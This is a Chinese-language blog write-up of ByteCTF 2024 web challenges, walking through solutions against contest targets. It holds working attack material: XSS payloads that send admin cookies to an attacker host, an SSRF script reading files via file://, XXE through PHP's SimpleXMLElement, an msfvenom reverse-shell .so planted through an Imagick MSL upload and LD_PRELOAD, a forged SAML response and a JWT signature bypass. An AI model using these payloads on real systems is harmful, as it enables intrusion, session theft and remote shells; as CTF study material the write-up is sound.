ByteCTF2024-web

ByteCTF2024–web

前言

服了,web这么多go,根本不会go

image-20240925054651822

CrossVue

主要还是对go不熟悉,读代码花了很长时间

但其实就是一个非常简单的xss带出admin的cookie

chromedp模拟admin访问

func Invite(c *gin.Context) {
	user, err := middleware.GetUserFromSession(c)
	if err != nil {
		c.HTML(http.StatusInternalServerError, "login.html", gin.H{
			"Error": "Failed to get user information.",
		})
		return
	}

	url := "http://127.0.0.1:8080"
	loginURL := url + "/login"
	viewURL := url + "/view?uuid=" + user.UUID

	actx, acancel := chromedp.NewExecAllocator(context.Background())
	defer acancel()

	ctx, cancel := chromedp.NewContext(
		actx,
		chromedp.WithLogf(log.Printf),
	)
	defer cancel()

	ctx, cancel = context.WithTimeout(ctx, 30*time.Second)
	defer cancel()

	err = chromedp.Run(ctx,
		chromedp.Navigate(loginURL),
		chromedp.WaitVisible(`div.login-container`, chromedp.ByQuery),
		chromedp.SendKeys(`//div[contains(@class, "form-container")]//input[@type="text"]`, "admin", chromedp.BySearch),
		chromedp.SendKeys(`//div[contains(@class, "form-container")]//input[@type="password"]`, config.Secret.AdminPassword, chromedp.BySearch),
		chromedp.Click(`//button[contains(., 'Login')]`, chromedp.BySearch),
		chromedp.WaitVisible(`div.profile`, chromedp.ByQuery),
	)
	if err != nil {
		log.Printf("Failed to login: %v", err)
	}

	err = chromedp.Run(ctx,
		chromedp.Navigate(viewURL),
		chromedp.WaitVisible(`div.profile`, chromedp.ByQuery),
	)
	if err != nil {
		log.Printf("Failed to navigate to view: %v", err)
	}

	c.JSON(http.StatusOK, gin.H{"message": "Send invite successful"})
}

admin会访问注册用户的信息

err = chromedp.Run(ctx,
	chromedp.Navigate(viewURL),
	chromedp.WaitVisible(`div.profile`, chromedp.ByQuery),
)

而注册时只有profile可控

usernameRegex := regexp.MustCompile(`^[a-zA-Z0-9_]{3,12}$`)
passwordRegex := regexp.MustCompile(`^[a-zA-Z0-9_]{8,}$`)
profileRegex := regexp.MustCompile(`^.{0,80}$`)

所以在profile输入payload即可

思路很清晰,但是我没做出来

因为要使用vue的模板渲染符{{}}进行包裹才能成功执行

本地使用下面payload可以带出cookie

{{<script>fetch("http://ip:port/?"+btoa(document.cookie))</script>}}

但是看了下其他的payload,好像说不能有<>啥的

{{ fetch(`http://<SERVER_ADDR>/?${document.cookie}`) }}

ezoldbuddy

nginx绕过

img

img

img

不管够不够钱都是404

与第一步同样绕过

img

qty加上.0即可(数量大一点)

其他的payload都是重复qty属性

{"orderId":1,"cart":[{"id":9,"qty":0,"qty":101}]}

OnlyBypassMe

扫目录,扫到/swagger-ui/index.html,能用的api都要登录

非预期

注册一个账号,但是role_id是4,有一个updatePermission接口能够更新权限

把自己权限设置为1,发现不让设置,roles_id直接设置为01,然后再重新登录就可以通过接口获取flag了

预期

updateAvatarV1接口有个url参数,正常来说是上传图片

存在一个ssrf

使用file协议并且用#.jpg绕过后缀,然后使用getUserAvatar能读取内容


import requests,base64,time
url = 'http://5361610a.clsadp.com'
session = requests.session()

 session.post(f'{url}/api/v1/users/register',json={
   "username": "unk",
   "email": "string",
   "password": "ABCabc123$",
   "confirmPassword": "ABCabc123$"
 })

cookies = {'JSESSIONID':'C58B6BF3A6FF923FF4C31764799AA20B'}

res = requests.post(f'{url}/api/v1/users/updateAvatarV1',json={"url":"file:///var/lib/mysql/byteCTF/flag.ibd#.png"},cookies=cookies)

res = requests.get(f'{url}/api/v1/users/getUserAvatar',cookies=cookies)
data = base64.b64decode(res.json()['data'])
# print(data)
import re
print(re.findall(b'ByteCTF\{.*\}',data))

最后能找到flag.ibd

ezobj

<?php
ini_set("display_errors", "On");
include_once("config.php");
if (isset($_GET['so']) && isset($_GET['key'])) {
    if (is_numeric($_GET['so']) && $_GET['key'] === $secret) {
        array_map(function($file) { echo $file . "\n"; }, glob('/tmp/*'));
        putenv("LD_PRELOAD=/tmp/".$_GET['so'].".so");
    }
}
if (isset($_GET['byte']) && isset($_GET['ctf'])) {  
    $a = new ReflectionClass($_GET['byte']);
    $b = $a->newInstanceArgs($_GET['ctf']);
    // echo $b;
} elseif (isset($_GET['clean'])){
    array_map('unlink', glob('/tmp/*'));
} else {
    highlight_file(__FILE__);
    echo 'Hello ByteCTF2024!';
}
// phpinfo.html 
Hello ByteCTF2024!

主要就是原生类的利用

考点两个,知道$secret是什么,如何上传so文件

读phpinfo能够知道libxmlImagick

能够使用SimpleXMLElement进行XXE读取文件

image-20240925035437799

要使第三个参数为true才可以

?byte=SimpleXMLElement&ctf[0]=http://vps-ip/evil.xml&ctf[1]=2&ctf[2]=true

我个人做题时就是没注意到这一点,就一直读不出来

拿到的 $secret = “HelloByteCTF2024”

然后就是Imagick的利用,这个之前也遇到过

https://aecous.github.io/2023/06/27/Imagick%E8%A7%A6%E5%8F%91msl/

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="inline:data:text/8BIM;base64,base64数据" />
  <write filename="8BIM:/tmp/xxx" />
</image>

使用msf生成木马

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=vps_ip lport=7777 -f elf-so -o 1.so

image-20240925040358760

POST /?byte=Imagick&ctf[0]=vid:msl:/tmp/php* HTTP/1.1
Host: 70b31e79.clsadp.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Length: 1037

------WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Disposition: form-data; name="file"; filename="vulhub.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="inline:data:text/8BIM;base64,f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAACAEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAIAAAAAAACWAgAAAAAAAAAQAAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAAAAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAAAACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAJ+wiCGLxRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g=="/>
  <write filename="8BIM:/tmp/1.so" />
</image>
------WebKitFormBoundaryTrWYaXKoVR1wiLhP--

然后使LD_PRELOAD指向1.so就可以拿到shell

然后看别人的WP,flag在redis中

配置文件能拿到密码bytectfa0d90b

redis module提权,把exp.so文件通过上面方式同样上传

image-20240925041354899

ezauth

ByteCTF 2024 By W&M - W&M Team (wm-team.cn)

go-saml

构造SamlResponse,获取token

拿gpt去生成,但是过不了verify,缺少证书

看看大吉北的WP

首先过 SAMLResponse 的检测,go-saml 底层调的是 xmlsec1,理论上是存在一个 CVE-2023-48703 的,就是虽然指定了 –pubkey-dem,xml 里边有证书的话还是可以用里面那个验证的,也就是说只需要找一个能默认通过 X509_verify_cert 的证书,自己签 response 即可。

找了老半天,由于 xmlsec1 sign 出来的玩意没有中间证书链,要直接从内置的 CA 签一个来的话,又好像没办法。然后试了一下发现连续放两个 samlsig:X509Certificate 进去,是**能正常 xmlsec1 verify **的,所以随便整个 LE 啥的搭网站生成的证书签一下,这就解决了 /acs 路由的验证,拿到 random_code 跟一个 guest 的 JWT。

<?xml version="1.0"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlsig="http://www.w3.org/2000/09/xmldsig#" Destination="http://localhost:8000/saml_consume" ID="_b38d8561-d69f-48bf-77a5-783da9328792" Version="2.0" IssueInstant="2024-09-21T06:23:13.437230381Z" InResponseTo="abc">
    <saml:Issuer>http://localhost:8000/saml_consume</saml:Issuer>
    <samlsig:Signature Id="_96c8ed02-c1ee-4322-4233-845ccdead67d">
        <samlsig:SignedInfo>
            <samlsig:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
            <samlsig:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
            <samlsig:Reference URI="">
                <samlsig:Transforms>
                    <samlsig:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
                </samlsig:Transforms>
                <samlsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
                <samlsig:DigestValue>cPCj+ZmNWg+ADY/LiFH88+s/da0=</samlsig:DigestValue>
            </samlsig:Reference>
        </samlsig:SignedInfo>
        <samlsig:SignatureValue></samlsig:SignatureValue>
        <samlsig:KeyInfo>
            <samlsig:X509Data>
                <samlsig:X509Certificate>CHAIN1_CERT_B64</samlsig:X509Certificate>
                <samlsig:X509Certificate>MY_CERT_B64</samlsig:X509Certificate>
            </samlsig:X509Data>
        </samlsig:KeyInfo>
    </samlsig:Signature>
    <samlp:Status>
        <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
    </samlp:Status>
    <saml:Assertion xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_29cf1612-da76-45f5-7552-3764fa8b41f2" Version="2.0" IssueInstant="2024-09-21T06:23:13.437234459Z">
        <saml:Issuer>http://localhost:8000/saml_consume</saml:Issuer>
        <saml:Subject>
            <saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">admin</saml:NameID>
            <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <saml:SubjectConfirmationData InResponseTo="abc" NotOnOrAfter="2034-09-21T06:28:13.437234739Z" Recipient="http://localhost:8000/saml_consume"/>
            </saml:SubjectConfirmation>
        </saml:Subject>
        <saml:Conditions NotBefore="2024-09-21T06:18:13.43723516Z" NotOnOrAfter="2034-09-21T06:28:13.43723533Z"/>
        <saml:AttributeStatement>
            <saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
                <saml:AttributeValue xsi:type="xs:string">admin</saml:AttributeValue>
            </saml:Attribute>
            <saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
                <saml:AttributeValue xsi:type="xs:string">someone@domain</saml:AttributeValue>
            </saml:Attribute>
        </saml:AttributeStatement>
    </saml:Assertion>
</samlp:Response>

感觉挺多是废话,算了不看了

然后就会返回值

{
    "code": "LBGH78tO5r",
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mjc1MDkzMjIsImlzcyI6ImJ5dGVjdGYiLCJ1c2VybmFtZSI6Imd1ZXN0In0.28NdXFugKmrmGFNKR16vA_HiSQO0kJOqOwOdRtIUqWI"
}

jwt/v4逻辑问题

这个是v4版本存在的逻辑问题

image-20240925051359010

或许算个提示吧,让token过期

image-20240925051918466

并且在Parse阶段发现一个点(翻v4的源码)

image-20240925051510045

image-20240925052258987

先使用token.Claims.Valid()来判断claims的时间是否有效,若有效,则继续验证token的签名

我们这里就让Claims提前抛出了TimeExpired错误,就可以不需要签名

伪造的exp设置小一点,不然会重新签名

image-20240925053213061

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MjY5MDEwMzMsImlzcyI6ImJ5dGVjdGYiLCJ1c2VybmFtZSI6ImFkbWluIn0.AAAA



{
  "exp": 1726901033,
  "iss": "bytectf",
  "username": "admin"
}

image-20240925054345918

reference

https://blog.wm-team.cn/index.php/archives/81/

https://mp.weixin.qq.com/s/O_OV1eA9yYQlhwaSP-fuIA

最后

说实话这难度不好说,对于Byte来说感觉出的有点简单,但不妨碍我不会


ByteCTF2024-web
https://zer0peach.github.io/2024/09/25/ByteCTF2024-web/
作者
Zer0peach
发布于
2024年9月25日
许可协议